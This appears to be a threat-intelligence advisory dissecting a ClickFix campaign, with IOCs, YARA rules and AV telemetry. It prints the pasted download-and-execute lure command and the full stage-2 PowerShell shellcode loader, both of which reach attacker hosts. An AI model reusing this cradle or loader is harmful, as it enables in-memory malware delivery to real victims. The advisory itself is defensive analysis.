Dispensight Cybersecurity Intelligence
TLP:WHITE — Unrestricted
Advisory ID: SL-ADV-2026-WP-001-V8  |  Variant: V8  |  Published: 2026-06-08

Omegatech ClickFix v8
Complete Kill Chain Report

From Infected Page to In-Memory Shellcode Execution

Severity
⬤ CRITICAL
Threat Actor
Omegatech LTD
ASN / Infrastructure
AS202412 · 158.94.208.0/24
Jurisdiction
Seychelles (BPH)
ATT&CK Techniques
T1204.002 · T1059.001 · T1105 · T1620 · T1027.003 · T1036.005
Threat Intelligence Feeds

Arbitrary code execution within ~1 second of paste, zero user-visible side effect. The final shellcode stage runs entirely inside powershell.exe memory — no disk PE written, no AV file scan triggered. Bypasses traditional file-based EDR detection by design.

Executive Summary

Multi-Stage ClickFix Campaign — Full In-Memory Execution

Omegatech LTD (AS202412) operates a sophisticated, multi-stage ClickFix campaign delivering in-memory shellcode to Windows endpoints through social engineering, PowerShell abuse, and reflective code loading.

A victim visiting an attacker-controlled or compromised page is presented with a fake Cloudflare human-verification challenge. The victim is instructed to paste a PowerShell command into Windows Terminal — the ClickFix technique — which silently downloads and executes a three-stage attack chain entirely in memory, leaving no persistent disk artifact.

The final shellcode stage runs inside the PowerShell process, bypassing traditional file-based AV/EDR detection. The real Cloudflare Turnstile widget is purely browser-side JavaScript — it never instructs users to paste commands into a terminal.

Threat Actor

Omegatech LTD Profile

AttributeValue
NameOmegatech LTD
ASNAS202412
JurisdictionSeychelles — Bullet-Proof Hosting (BPH)
Infrastructure158.94.208.0/24
MotivationFinancial gain — likely credential theft / RAT deployment
SophisticationAdvanced — multi-stage, in-memory, polymorphic
Known CampaignsClickFix v8, EtherHiding (BNB Smart Chain C2), BPH services

Omegatech LTD operates as a BPH provider under AS202412 out of Seychelles. Infrastructure in the 158.94.208.0/24 range hosts both the stage-2 delivery server (158.94.208.92) and the stage-3 shellcode server (158.94.208.104). Prior SecureLeaf operations have attributed multiple ClickFix and EtherHiding campaigns to this infrastructure cluster.

Victim Profile — This Sample

Sandbox Detonation Environment

AttributeValue
UsernameMaoga
Hostnamepc-tj472
Operating SystemWindows 10 build 22621.4111
PowerShellv5.1.22621.4111 (late 2024)
Execution SurfaceWindows Terminal (wt.exe)
Victim IP192.168.2.24 (internal / sandbox)
Attack Chain Overview

Kill Chain Diagram

Attacker Infrastructure
158.94.208.92 ← Stage-2 C2 (Apache/2.4.66, Debian)
158.94.208.104 ← Stage-3 C2 (shellcode, .png camouflage)
STAGE 0 Compromised / Attacker-Controlled Web Page
  • Fake Cloudflare "Verify you are human" overlay injected
  • Instructions: "Press Win+R, paste the command below into Run, click OK"
  • Button silently writes malicious PowerShell command to clipboard
↓ Victim opens Windows Terminal / Run dialog and pastes
STAGE 1 Clipboard Delivery — ClickFix Initial Execution
  • Decoy line: & ([scriptblock]::Create((irm "https://debloat.raphi.re/"))) — legit-looking cover
  • Fake Cloudflare variables: cfChallenge, challengeHash (SHA-256 of empty string), confirmChallenge
  • Payload: iex(irm 158.94.208.92 -UseBasicParsing) — download-and-exec cradle
  • User-Agent leaks exact PowerShell build & OS version to C2 for targeting
↓ HTTP GET / to 158.94.208.92 · PowerShell UA reveals OS
STAGE 2 Server-Served PowerShell Loader (1,604 bytes)
  • Defines C# here-string (class dIZYizFl — randomized): VirtualAlloc / CreateThread / WaitForSingleObject / GetCurrentProcess
  • Add-Type compiles it via csc.exe (in-memory .NET assembly)
  • Fetches Stage-3 shellcode: GET /x7GkP2mQ9zL4/my_newest_ll.png from 158.94.208.104
  • VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  • Marshal.Copy writes shellcode bytes into RWX allocation
  • CreateThread spawns new thread at shellcode entry point
  • WaitForSingleObject(thread, 30000ms)
↓ HTTP GET /x7GkP2mQ9zL4/my_newest_ll.png to 158.94.208.104
STAGE 3 Final Shellcode — .png Camouflage — Raw Bytes
  • Raw shellcode bytes delivered with .png extension (masquerade — not an image)
  • Loaded into RWX memory inside powershell.exe process space
  • Executed via CreateThread — fully in-memory, zero disk PE
  • Family: UNKNOWN (not captured in sandbox — possible evasion or sandbox network block)
  • Likely: RAT / backdoor / Cobalt Strike beacon / Sliver implant
  • /x7GkP2mQ9zL4/ directory (12 random chars) suggests per-campaign path rotation
⬥ HOST COMPROMISED — Arbitrary shellcode executing in powershell.exe with full user-level access ⬥
Stage 1 Deep Dive

Clipboard Delivery — Command Analysis

Execution surface confirmed as Windows Terminal (wt.exe) via shell artifact JHYQWG48ACLVJ4LTNB28_temp_12.dr, which also reveals the victim username (Maoga) and hostname (pc-tj472). Default Ctrl+V paste keybinding confirmed via Terminal settings artifact.

// Command pasted (from ConsoleHost_history.txt)

PowerShell — Lure Command
# Line 1 — Decoy (legit debloat project used as cover)
& ([scriptblock]::Create((irm "https://debloat.raphi.re/")))

# Line 2 — Actual ClickFix payload
$global:cfChallenge="challenge.cloudflare.com"
$global:challengeHash="e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
$global:confirmChallenge=$true
iex(irm 158.94.208.92 -UseBasicParsing)

// Command breakdown

ComponentWhat It Does
$global:cfChallengePure decoy. Never used. Fake "Cloudflare" challenge host variable — window dressing.
$global:challengeHash="e3b0c44..."SHA-256 of an empty string "". Looks cryptographically meaningful. Validates nothing.
$global:confirmChallenge=$trueDummy no-op flag. Increases lure believability only.
irm 158.94.208.92 -UseBasicParsingInvoke-RestMethod. HTTP GET to C2. -UseBasicParsing bypasses IE engine, disables cert warnings.
iex(...)Invoke-Expression — executes the returned string as live PowerShell. The download-and-exec cradle.

// HTTP request captured in PCAP

HTTP — Stage-1 C2 Request
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.4111
Host: 158.94.208.92
Connection: Keep-Alive

The User-Agent leaks the victim's exact PowerShell build and OS version to the C2. This enables server-side targeting — serving different payloads per OS version, or killing the chain for sandbox User-Agents.

Forensic note: ConsoleHost_history.txt (PSReadLine) at %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt records every pasted command. Its presence with these exact strings is a reliable IOC even when no other logging is enabled.

Stage 2 Deep Dive

Server-Served PowerShell Loader

Apache/2.4.66 (Debian) at 158.94.208.92 responds at 2026-06-08T20:31:08Z with a 1,604-byte PowerShell script, executed immediately by iex in the victim session.

// Full decoded stage-2 script

PowerShell — Stage-2 Loader (1604 bytes, served from 158.94.208.92)
$UGiQQFlZ = "http://158.94.208.104/x7GkP2mQ9zL4/my_newest_ll.png"
try {
    $pNqJcXZej   = Invoke-WebRequest -Uri $UGiQQFlZ -UseBasicParsing -ErrorAction Stop
    $iNqccoGcJHGU = $pNqJcXZej.Content
    $lIFnrGdJPyXrlqg = $iNqccoGcJHGU.Length

    $YwzNPctdNfuIuwh = @"
using System;
using System.Runtime.InteropServices;
public class dIZYizFl {
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr GetCurrentProcess();
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr VirtualAlloc(IntPtr a, uint sz, uint t, uint p);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr CreateThread(IntPtr ta, uint ss, IntPtr sa, IntPtr p, uint cf, out uint tid);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern uint WaitForSingleObject(IntPtr h, uint ms);
}
"@
    Add-Type -TypeDefinition $YwzNPctdNfuIuwh
    $gPsZOQX  = 0x1000   # MEM_COMMIT
    $lUrLsWZS = 0x2000   # MEM_RESERVE
    $nmTdojJq = 0x40     # PAGE_EXECUTE_READWRITE
    $eWhuhaSjHwRtnjIsjX = [dIZYizFl]::VirtualAlloc(
        [IntPtr]::Zero, $lIFnrGdJPyXrlqg,
        $gPsZOQX -bor $lUrLsWZS, $nmTdojJq)
    if ($eWhuhaSjHwRtnjIsjX -eq [IntPtr]::Zero) { throw "Alloc failed" }
    [System.Runtime.InteropServices.Marshal]::Copy(
        $iNqccoGcJHGU, 0, $eWhuhaSjHwRtnjIsjX, $lIFnrGdJPyXrlqg)
    $yuUuVIPZMRPlFzb = 0
    $PeGXxCfcT = [dIZYizFl]::CreateThread(
        [IntPtr]::Zero, 0, $eWhuhaSjHwRtnjIsjX,
        [IntPtr]::Zero, 0, [ref]$yuUuVIPZMRPlFzb)
    if ($PeGXxCfcT -eq [IntPtr]::Zero) { throw "Thread failed" }
    [dIZYizFl]::WaitForSingleObject($PeGXxCfcT, 30000) | Out-Null
    Write-Host "done."
}
catch { exit 1 }

// Step-by-step execution breakdown

Step 2a — Stage-3 URL hardcoded

Variable $UGiQQFlZ (randomized name per run) is assigned the shellcode URL: http://158.94.208.104/x7GkP2mQ9zL4/my_newest_ll.png. The .png extension is camouflage — the file content is raw shellcode bytes, not an image.

Step 2b — C# P/Invoke class compiled in-memory via Add-Type

The here-string contains C# source defining class dIZYizFl (randomized per run) with P/Invoke declarations for four kernel32.dll exports: GetCurrentProcess, VirtualAlloc, CreateThread, WaitForSingleObject.

Add-Type -TypeDefinition passes the source to csc.exe, compiling a .NET assembly loaded directly into the PowerShell process. Compilation confirmed by two sandbox artifacts: CSC6F520FB2C5134487A894753C8A2B6BB_TMP_23.dr and RES24C_tmp_24.dr (COFF timestamp: 2026-06-08 20:31:09 UTC).

Steps 2c–2f — Shellcode Fetch, Allocate, Write, Execute
StepAPI CallEffect
2cInvoke-WebRequest (GET .png)Fetches raw shellcode bytes from 158.94.208.104 into $iNqccoGcJHGU
2dVirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)Allocates RWX memory region inside powershell.exe
2eMarshal.Copy(shellcode_bytes, 0, ptr, len)Writes raw shellcode bytes into the RWX allocation
2fCreateThread(NULL, 0, shellcode_addr, NULL, 0, &tid)Spawns thread at shellcode entry point — attack complete
Stage 3

Final Shellcode — Unknown Family

URL: http://158.94.208.104/x7GkP2mQ9zL4/my_newest_ll.png

The final payload was not captured in the sandbox (stage-3 connection to 158.94.208.104 not observed in PCAP — possible sandbox network block or deliberate environment fingerprinting evasion).

Based on campaign context and the 30-second WaitForSingleObject timeout, the implant is likely one of:

  • → A stager connecting back to a third C2 for a full RAT/backdoor
  • → Cobalt Strike beacon, Sliver implant, or custom Omegatech backdoor
  • → Credential harvester or keylogger

The /x7GkP2mQ9zL4/ directory component (12 random characters) suggests per-campaign or per-victim path rotation, making static URL blocking insufficient as a standalone defense.

Post-Crash Memory Analysis

SL-MEM-2026-v8 — Sandbox Crash Dump Findings

Following an intentional sandbox crash of the v8 payload, 16 memory region dumps were recovered across 5 processes. Static analysis (strings, entropy, magic bytes, IOC extraction) was performed — no execution of dump contents. Source: SL-MEM-2026-v8, analyst: SecureLeaf/Dispensight, 2026-06-09.

🔬

Key findings at a glance: MZER custom loader with x64 PIC bootstrapper replicated across 5 threads (watchdog pattern) · Encrypted shellcode blob (entropy 7.24/8.0) · C2 staging server 158.94.208.104 confirmed via BGP trace to AS202412 · Dropper artifact size95.exe · Randomized temp DLL qb4p11bz.dll · Named-pipe IPC channels · Full .NET CLR loaded

// Process map — 5 PIDs, 16 regions

PIDThreadsMagicSizeEntropyAssessed Role
820 1610–1614 ×5 identical MZER 4D5A4552 315,392 ×5 5.68–5.73 Custom loader — watchdog pattern, same VA range across all 5 threads
820 1618 MZ 196,608 5.32 Loaded DLL (standard PE — injected dependency)
820 1619 MZ 65,536 5.61 Small loaded module
4448 1556 MZ + RSA blob 139,264 4.85 .NET assembly — RSA public key blob (payload signing / C2 auth)
4448 1563 MZ 286,720 5.58 PSReadLine — PowerShell host confirmed in main malware process
4448 1593 MZ 1,843,200 5.90 ASP.NET/WCF assembly — TDS server-side code or downloaded .NET DLL
4448 1607 MZ 32,768 0.41 Near-empty / zeroed — qb4p11bz.dll stub, caught mid-staging
4448 1608 E8 C0 6D 00 CALL 57,344 7.24 Raw encrypted shellcode — no PE header — PIC CALL entry at offset 0 — primary payload blob
4448 1609 0x00 (nulls) 49,152 2.75 Zeroed staging region — contains 158.94.208.104 + powershell string residue
992 1615 <!DOCTYPE HTML 4,096 0.71 Cached HTTP 404 response from 158.94.208.104 — live C2 contact confirmed
5148 1605 MZ 11,280,384 6.31 .NET CLR / mscorlib — main managed runtime host. Named pipes: CPFATP_ / Sessions
5252 1582 MZ 5,386,240 6.49 WinUI/XAML runtime — possible lure application frame

// In-memory process architecture

Process Architecture — SL-MEM-2026-v8
[PID 992]  — HTTP client thread
  └─ contacted 158.94.208.104:80 → cached HTTP 404 response (Apache/2.4.52 Ubuntu)[PID 4448] — Main malware process
  ├─ Thread 1563: PSReadLine / PowerShell host  (Stage-2 delivery surface)
  ├─ Thread 1556: .NET assembly loading          (RSA key blob — signed payload verification)
  ├─ Thread 1593: ASP.NET/WCF large assembly     (TDS code or downloaded .NET DLL, 1.8MB)
  ├─ Thread 1607: qb4p11bz.dll stub             (entropy 0.41 — caught mid-staging)
  ├─ Thread 1608: ENCRYPTED SHELLCODE BLOB      (entropy 7.24 — primary payload)
  └─ Thread 1609: Zeroed staging region          (IP 158.94.208.104 + powershell residue)
     ↓
[PID 820]  — Loader / injector process
  ├─ Threads 1610–1614: MZER region ×5 — WATCHDOG PATTERN
  │     VA range 0x1B7073B0000–3FD000, 315,392 bytes, same across all 5 threads
  │     Entropy variance 5.6818→5.7252 (per-thread mutable state — key or counter)
  │     Artifacts: size95.exe (UTF-16LE wide), MyApplication.app, mscoree.dll
  └─ Thread 1618: Standard PE (injected DLL / loaded dependency)
     ↓
[PID 5148] — .NET CLR host
  └─ Named pipes: \\.\pipe\CPFATP_  ·  \\.\pipe\Sessions
     (CLR profiler abuse or inter-process C2 channel)
     ↓
[PID 5252] — WinUI/XAML process (lure application shell)

// Notable observations

MZER Custom Loader — Not a Standard DOS Stub

The magic bytes 4D 5A 45 52 (MZER) are immediately followed by the x64 sequence E8 00 00 00 00 59 48 83 E9 09 48 8B: a CALL +5 / POP RCX / SUB RCX, 9 delta chain — the standard technique for establishing RIP-relative (position-independent) addressing in x64 shellcode. This is not a valid Microsoft DOS stub; it is a custom bootstrapper wrapping the actual payload. The MZER tag may be a deliberate loader signature by the threat actor.

5-Thread Watchdog — Self-Healing Persistence

The identical MZER region (same VA range 0x1B7073B0000, same file size 315,392 bytes) mapped across threads 1610, 1611, 1612, 1613, and 1614 of PID 820 is a strong indicator of a watchdog / self-healing mechanism. If one thread is killed, others maintain the loader in memory. The slight entropy variance between threads (5.6818 → 5.7252) suggests a small mutable section per thread — likely a per-thread decryption key, execution counter, or seed value embedded in the otherwise identical region.

Encrypted Shellcode Blob — PID 4448, Thread 1608

57,344 bytes of near-random data starting with E8 C0 6D 00 00 (CALL +0x6DC0) — no PE header, entropy 7.24/8.0. The CALL at offset 0 is the canonical PIC shellcode self-location pattern; offset 0x6DC5 within the blob is the likely decryptor entry point. The near-uniform byte distribution indicates XOR or RC4 encryption of the actual Stage-3 payload. This is the blob that crashed the sandbox.

qb4p11bz.dll — Randomized Temp-Drop DLL

Found in PID 4448 thread 1607 (entropy 0.41 — near-empty region). Eight lowercase alphanumeric characters followed by .dll is a well-established malware temp-drop naming convention. The near-zero entropy indicates the region was allocated and the DLL reference established, but the memory was largely still zeroed — caught mid-staging. Pattern to hunt: [a-z0-9]{8}\.dll loaded from %TEMP% or %APPDATA%.

BGP Attribution — AS202412 Confirmed

BGP trace on 158.94.208.104: prefix 158.94.208.0/24, origin AS202412 (Omegatech LTD), 1 hop to RIS collectors. Same ASN as all prior ClickFix/EtherHiding infrastructure documented in this advisory. The C2 staging server for the v8 payload is unambiguously on the same BPH provider — this is toolchain continuity, not coincidence.

// New IOCs from memdump analysis

Network

TypeValueSourceConfidenceNotes
IPv4 158.94.208.104 992-1615, 4448-1609 HIGH C2 staging server — Apache/2.4.52 Ubuntu port 80. PID 992 cached a live HTTP 404 response; PID 4448 staging region contained IP + powershell string residue. BGP: AS202412 Omegatech LTD (1 hop).
Server banner Apache/2.4.52 (Ubuntu) Server at 158.94.208.104 Port 80 992-1615 HIGH Exact banner for Shodan/Censys fingerprinting and pivot.

Files & Executables

TypeValueSourceConfidenceNotes
Dropper EXE size95.exe All PID 820 MZER dumps HIGH UTF-16LE wide string baked into all 5 MZER watchdog thread regions. Assessed as dropper filename.
Temp DLL qb4p11bz.dll / [a-z0-9]{8}\.dll pattern 4448-1607 MEDIUM Randomized 8-char temp-drop DLL — reflective loader staging artifact. Entropy 0.41 — caught mid-load.
Loader magic 4D 5A 45 52 (MZER) @ offset 0 PID 820 threads 1610–1614 HIGH Non-standard PE stub — custom PIC bootstrapper. Not a valid DOS MZ header.
Shellcode stub E8 C0 6D 00 00 C0 6D 00 @ offset 0 4448-1608 HIGH PIC CALL-based shellcode entry. No PE wrapper. Entropy 7.24/8.0 — XOR/RC4 encrypted. CALL target +0x6DC0 = likely decryptor.

Behavioral / In-Memory

TypeValueSourceConfidenceNotes
Named pipe \\.\pipe\CPFATP_ 5148-1605 MEDIUM CLR profiler abuse pattern or IPC C2 channel. Monitor for CPFATP_* wildcard.
Named pipe \\.\pipe\Sessions 5148-1605 MEDIUM Session hijack or inter-process comms channel.
Mutex / Global Global\CPFATE_ 5148-1605 MEDIUM CLR profiler mutex — present alongside the named pipe. Possible infection marker.
String artifact MyApplication.app All PID 820 dumps MEDIUM .NET application manifest — dropper compiled as generic "MyApplication". Indicates a freshly-compiled or template-built .NET binary.
String artifact score8794.produc (truncated) 820-1610 LOW Possible malware project name artifact or obfuscated domain fragment. Requires further analysis.
Import WINHTTP.dll 4448-1609 HIGH WinHTTP-based C2 beacon (not WinINet) — co-located with C2 IP and powershell string in the same staging region.

Cryptographic Material — Pending Analysis

TypeValueNotes
SHA1-length hex 91A9773E7A0BA4700195CBFFFF935A24C674C3E0 40-char hex blob from MZER dumps. May be: payload stage hash, C2 auth token, or XOR key material.
Hash chain B025011E705D8869AE4F29F083465799465EE53648465ECA3E706AC49D7DA7DB 64-char hex blob (SHA-256 length) from MZER quintet — present in all 5 watchdog thread dumps.
RSA key blob 002400000480000094000000060200000024000052534131… 512-bit RSA strong-name public key from PID 4448 — payload signing or C2 authentication key.

// YARA rules — memdump-derived (SL-YARA-2026-v8-001 through 004)

Four additional rules derived from memdump static analysis. Complement the three lure/loader rules in the YARA section below.

SL_ClickFix_v8_MZER_Loader — SL-YARA-2026-v8-001 Deploy: filesystem scan · process memory scanner · EDR on-write
YARA
rule SL_ClickFix_v8_MZER_Loader {
    meta:
        description = "ClickFix v8 — MZER custom loader stub with x64 PIC bootstrapper"
        author      = "SecureLeaf / Dispensight"
        reference   = "SL-MEM-2026-v8"  date = "2026-06-09"  tlp = "AMBER"
    strings:
        // MZER magic + PIC CALL/POP/SUB chain (highest confidence — exact match)
        $mzer_pic_full = { 4D 5A 45 52 E8 00 00 00 00 59 48 83 E9 09 48 8B }
        // MZER magic only
        $mzer_magic    = { 4D 5A 45 52 }
        // PIC CALL/POP/SUB bootstrapper (may appear offset from start in injected regions)
        $pic_stub      = { E8 00 00 00 00 59 48 83 E9 ?? 48 8B }
        // "size95.exe" UTF-16LE wide string
        $size95_wide   = { 73 00 69 00 7A 00 65 00 39 00 35 00 2E 00 65 00 78 00 65 00 }
        $myapp_wide    = "MyApplication.app" wide
    condition:
        ($mzer_pic_full at 0) or
        ($mzer_magic at 0 and $pic_stub) or
        ($mzer_magic at 0 and $size95_wide) or
        ($mzer_magic at 0 and $myapp_wide and $pic_stub)
}
SL_ClickFix_v8_Shellcode_Blob — SL-YARA-2026-v8-002 Deploy: process memory scanner · sandbox post-crash dump analysis
YARA — requires math module
import "math"

rule SL_ClickFix_v8_Shellcode_Blob {
    meta:
        description = "ClickFix v8 — Encrypted PIC shellcode blob, CALL-based entry, entropy 7.24"
        author      = "SecureLeaf / Dispensight"
        reference   = "SL-MEM-2026-v8"  date = "2026-06-09"  tlp = "AMBER"
        note        = "CALL target +0x6DC0 = decryptor entry. Likely XOR or RC4 key at that offset."
    strings:
        // Exact 8-byte header from PID 4448 region 1608
        $sc_sig      = { E8 C0 6D 00 00 C0 6D 00 }
        // Generic PIC CALL at offset 0
        $call_entry  = { E8 ?? ?? 00 00 }
    condition:
        ($sc_sig at 0) or
        (
            not uint16(0) == 0x5A4D       // not MZ
            and $call_entry at 0
            and filesize >= 40KB and filesize <= 512KB
            and math.entropy(0, filesize) >= 6.8
        )
}
SL_ClickFix_v8_TempDrop_DLL — SL-YARA-2026-v8-003 Deploy: filesystem scan %TEMP% · EDR DLL load monitoring
YARA — requires math module
rule SL_ClickFix_v8_TempDrop_DLL {
    meta:
        description = "ClickFix v8 — 8-char randomized temp DLL staging artifact (qb4p11bz.dll pattern)"
        author      = "SecureLeaf / Dispensight"
        reference   = "SL-MEM-2026-v8"  date = "2026-06-09"  tlp = "AMBER"
    strings:
        $exact_ascii  = "qb4p11bz.dll" ascii
        $exact_wide   = "qb4p11bz.dll" wide
        $rnd_dll_wide = /[a-z0-9]{8}\.dll/ wide
        $kernel32_w   = "KERNEL32.dll" wide
        $mscoree_w    = "mscoree.dll" wide
    condition:
        $exact_ascii or $exact_wide or
        (
            $rnd_dll_wide and $kernel32_w and $mscoree_w
            and math.entropy(0, filesize) < 2.0
        )
}
SL_ClickFix_v8_C2_Beacon_Region — SL-YARA-2026-v8-004 Deploy: process memory scanner · network proxy content inspection
YARA
rule SL_ClickFix_v8_C2_Beacon_Region {
    meta:
        description = "ClickFix v8 — C2 IP 158.94.208.104 + WINHTTP/PS beacon in memory region"
        author      = "SecureLeaf / Dispensight"
        reference   = "SL-MEM-2026-v8"  date = "2026-06-09"  tlp = "AMBER"
        ioc_ip      = "158.94.208.104"
    strings:
        $c2_ip         = "158.94.208.104" ascii wide
        $apache_banner = "Apache/2.4.52 (Ubuntu) Server at 158.94.208.104" ascii
        $winhttp       = "WINHTTP.dll" ascii wide
        $advapi        = "ADVAPI32.dll" ascii wide
        $ps_str        = "powershell" ascii nocase
    condition:
        $c2_ip and
        ($apache_banner or ($winhttp and $advapi) or $ps_str)
}
Forensic Evidence

Artifact Summary

ArtifactWhat It Proves
ConsoleHost_history_txt_14.dr Exact commands pasted — ClickFix lure confirmed
flferzre_0_cs_14.dr C# P/Invoke loader source used in stage-2
RES24C_tmp_24.dr
COFF timestamp 20:31:09
Add-Type / csc.exe compiled the loader. Detonation time anchor.
CSC6F520FB2C5134487A894753C8A2B6BB_TMP_23.dr csc.exe .res output. Confirms compilation ran.
ModuleAnalysisCache_14.dr
PSMODULECACHE, 44 modules
PowerShell executed and performed full module-discovery pass
JHYQWG48ACLVJ4LTNB28_temp_12.dr Windows Terminal (wt.exe) executed. Reveals victim: Maoga / pc-tj472
settings_json_tmp_12.dr Windows Terminal default config — confirms execution environment
PCAP dumpslim-1924708.pcap HTTP GET to 158.94.208.92, stage-2 response body (1,604 bytes)
AV Telemetry — ESET HIPS

Real-Time File System Protection — 7 Detections

ESET real-time file system protection intercepted 7 malicious files written by chrome.exe to the victim's Downloads folder across a 17-second window (12:35:25–12:35:42). All files were cleaned by deletion before execution. The detections span three malware families, directly corroborating the kill chain stages and memdump process architecture.

🔗

Rozena.BI = Stage-2 confirmed. ESET independently named PowerShell/Rozena.BI on the UUID .tmp file — the Chrome-downloaded Stage-2 PS loader caught mid-write. Rozena is the well-documented VirtualAlloc + CreateThread PS shellcode cradle family, directly matching the 1,604-byte loader recovered from PCAP and the PSReadLine host confirmed in PID 4448 memdump. Three independent evidence sources — PCAP, memdump, AV telemetry — all point to the same Stage-2 binary.

// Raw ESET HIPS log — all 7 events

File Modified Detected Lag ESET Family File / Path SHA1 Action
12:35:25 12:36:11 46s Win64/Injector.AIY Unconfirmed 145271.crdownload B78420563A67E7D782AAEB3AB522D1275723281B Deleted
12:35:27 12:36:11 44s Win64/Injector.AIY Unconfirmed 65372.crdownload 802DA05C38565978F1013F57CEF9538D8EDDE271 Deleted
12:35:29 12:36:17 48s MSIL/Agent.FVB Unconfirmed 876583.crdownload DC78DAA1B358B8A57EF8BED7B3430014E6322BC5 Deleted
12:35:32 12:36:22 50s Win64/Injector.AIY Unconfirmed 474565.crdownload CA75B39F8C16CA47EF26F9692C846789E0E4064E Deleted
12:35:34 12:36:53 79s Win64/Injector.AIY Unconfirmed 991856.crdownload CCDE849BFE870893591A1D0FFB093ECC556B7853 Deleted
12:35:35 12:36:53 78s Win64/Injector.AIY Unconfirmed 303208.crdownload B7F0E587BF600B0FC3E9C2FB5A04BDD83A564EBF Deleted
12:35:42 12:36:53 71s PowerShell/Rozena.BI ★ 6dea2571-0b35-4d1d-8ca4-5f2db1a50350.tmp
Chrome UUID temp — no filename hint → Stage-2 PS loader mid-write
D284BAA8C2544F11198A2A7E875EBE15E90A3799 Deleted

★ Rozena.BI row highlighted — linchpin detection tying AV telemetry to PCAP and memdump. All events triggered by chrome.exe SHA1 DC03E6394743FE3983B5573B589951041B225DE6 (verified clean — untampered Chrome binary).

// ESET family → kill chain stage mapping

ESET FamilyCountKill Chain StageMemdump CorrelationAssessment
Win64/Injector.AIY 5 Stage-2 / Stage-3 loader PID 820 MZER watchdog ×5 threads; PID 4448 shellcode region ESET generic for a PE injector writing into foreign process memory. The 5 hits directly mirror the 5 MZER watchdog thread regions — likely the same binary downloaded repeatedly (retry logic or per-thread drop). Consistent with the VirtualAlloc + CreateThread reflective loading pattern.
MSIL/Agent.FVB 1 Stage-2 .NET dropper component PID 4448 thread 1593 (1.8MB ASP.NET/WCF assembly); PID 4448 thread 1556 (RSA key blob / .NET assembly) ESET generic for a managed (.NET / MSIL) downloader-dropper agent. Maps to the large .NET DLL in memory — either the TDS-side WCF assembly downloaded as a payload component, or the Add-Type-compiled C# P/Invoke class (caught as it was written to disk by csc.exe).
PowerShell/Rozena.BI 1 Stage-2 PS loader — CONFIRMED PID 4448 thread 1563 (PSReadLine host); PID 4448 thread 1608 (encrypted shellcode blob — payload Rozena fetched) Rozena is a named, well-documented PowerShell shellcode cradle family. Its defining trait is exactly the pattern seen in the PCAP-extracted loader: VirtualAlloc + Marshal.Copy + CreateThread to execute raw shellcode in-process. The UUID .tmp filename confirms Chrome downloaded this as a content-type response with no filename — consistent with iex(irm 158.94.208.92) writing the PS script transiently. ESET independently confirmed the Stage-2 family — cross-validates PCAP extraction and memdump PSReadLine evidence.

// Download window analysis

17-Second Multi-Payload Download Burst — Chrome as Delivery Vehicle

All 7 files were written by a single chrome.exe process in a 17-second burst (12:35:25–12:35:42), with an average inter-file gap of 2.8 seconds. This is not normal browsing behaviour — it is a scripted, sequential payload delivery chain operating inside or alongside the browser session initiated by the ClickFix lure page.

ObservationSignificance
6 of 7 files caught as .crdownload ESET scanned in-progress Chrome downloads in real-time — payloads were intercepted before completion. AV would not have caught fully-written files if Chrome had been faster or ESET slower.
1 file as UUID .tmp (Rozena.BI) Chrome assigns a UUID temp path when the server response has no Content-Disposition: filename header — consistent with irm 158.94.208.92 returning a bare PS script with no filename. This is the Stage-2 loader.
Rozena.BI file modified last (12:35:42) Stage-2 PS loader was fetched after all 6 injector/dropper blobs — consistent with the kill chain sequence: injector components staged first, PS cradle fetched to execute them.
5× Injector.AIY, mirroring 5× MZER watchdog threads Strongly suggests the payload server pushed the MZER loader binary 5 times — either as a retry/redundancy mechanism or one per intended watchdog thread injection.
Detection lag 44–79 seconds ESET's real-time scan triggered 44–79s after file write — during this window the payload could have executed on a system with slower or absent AV. Reinforces the need for pre-execution controls (CLM, ASR, egress filtering).
Single chrome.exe SHA1 across all 7 events DC03E6394743FE3983B5573B589951041B225DE6 — verified as the legitimate Chrome binary (not tampered). All payloads originated from browser-initiated HTTP/HTTPS requests, confirming the web-delivery vector.

// SHA1 hashes — ESET-confirmed malicious (VT pivot targets)

SHA1ESET FamilyFilenameStage
D284BAA8C2544F11198A2A7E875EBE15E90A3799PowerShell/Rozena.BI6dea2571…tmpStage-2 PS loader ★
802DA05C38565978F1013F57CEF9538D8EDDE271Win64/Injector.AIYUnconfirmed 65372.crdownloadMZER loader / injector
B78420563A67E7D782AAEB3AB522D1275723281BWin64/Injector.AIYUnconfirmed 145271.crdownloadMZER loader / injector
DC78DAA1B358B8A57EF8BED7B3430014E6322BC5MSIL/Agent.FVBUnconfirmed 876583.crdownload.NET dropper component
CA75B39F8C16CA47EF26F9692C846789E0E4064EWin64/Injector.AIYUnconfirmed 474565.crdownloadMZER loader / injector
CCDE849BFE870893591A1D0FFB093ECC556B7853Win64/Injector.AIYUnconfirmed 991856.crdownloadMZER loader / injector
B7F0E587BF600B0FC3E9C2FB5A04BDD83A564EBFWin64/Injector.AIYUnconfirmed 303208.crdownloadMZER loader / injector
DC03E6394743FE3983B5573B589951041B225DE6CLEANchrome.exeDelivery vehicle — legitimate Chrome binary, not tampered
Indicators of Compromise

IOCs

// Network

TypeValueConfidenceNotes
IPv4158.94.208.92HIGHPrimary C2, stage-2 loader delivery
IPv4158.94.208.104HIGHSecondary C2, stage-3 shellcode host
CIDR158.94.208.0/24MEDIUMOmegatech infrastructure range
URLhttp://158.94.208.92/HIGHStage-2 delivery endpoint
URLhttp://158.94.208.104/x7GkP2mQ9zL4/my_newest_ll.pngHIGHStage-3 shellcode — .png camouflage
URLhttps://debloat.raphi.re/LOWDecoy / cover — legit project, abused as social camouflage
Domainchallenge.cloudflare.comHIGHEmbedded in lure as decoy string — not contacted by payload
↓ memdump analysis — SL-MEM-2026-v8
IPv4 158.94.208.104 HIGH C2 staging server — Apache/2.4.52 Ubuntu port 80. HTTP 404 response cached in PID 992 memory; IP + powershell string residue in PID 4448 staging region. BGP: AS202412 Omegatech LTD, prefix 158.94.208.0/24, 1-hop origin.
